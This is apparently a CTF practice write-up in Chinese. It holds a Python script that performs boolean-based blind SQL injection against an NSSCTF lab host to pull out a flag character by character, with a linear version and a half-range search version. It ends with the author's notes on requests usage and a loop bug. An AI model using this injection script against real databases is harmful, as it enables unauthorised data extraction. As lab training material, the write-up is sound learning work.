# import requests # str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # #if((substr((select(flag)from(flag)),1,1)='N'),1,2) # flag="" # for i in range(1,100): # url='http://node4.anna.nssctf.cn:28599/index.php' # for st in str: # sql="if((ascii(substr((select(flag)from(flag)),{},1))=ascii('{}')),1,2)".format(i,st) # data={"id":sql} # re=requests.post(url,data=data,) # if "Hello" in re.text: # flag=flag+st # break # print(flag)
#(0,128)二分法:
import requests #str='-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' #if((substr((select(flag)from(flag)),1,1)='N'),1,2) flag="" for i inrange(1,100): url='http://node4.anna.nssctf.cn:28599/index.php' sql="if((ascii(substr((select(flag)from(flag)),{},1))<64),1,2)".format(i) data={"id":sql} re=requests.post(url,data=data) if"Hello"in re.text: for st inrange(0,64): sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st) data={"id":sql} re=requests.post(url,data=data) if"Hello"in re.text: st=chr(st) flag=flag+st print("第%d个字符"%i) break else: for st inrange(64,128): sql="if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)".format(i,st) data={"id":sql} re=requests.post(url,data=data) if"Hello"in re.text: st=chr(st) flag=flag+st print("第%d个字符"%i) break print(flag)
在写的时候遇到的问题:
requests语句
1 2 3 4 5 6 7 8 9
requests.(请求方式,get或post)
re=requests.post(url,data,可选其它功能(如timeout=$))
#re.text 就等于服务器返回内容中的字符内容 if"Hello"in re.text:
还有data内容的表示 data={"id":sql}
for st in (1,128): 当时只猜测了flag的前两个字符,问了kimi,说我这个(1,128)的意思是数组,只会进行两次循环😅 正确语句 for st in range(64,128):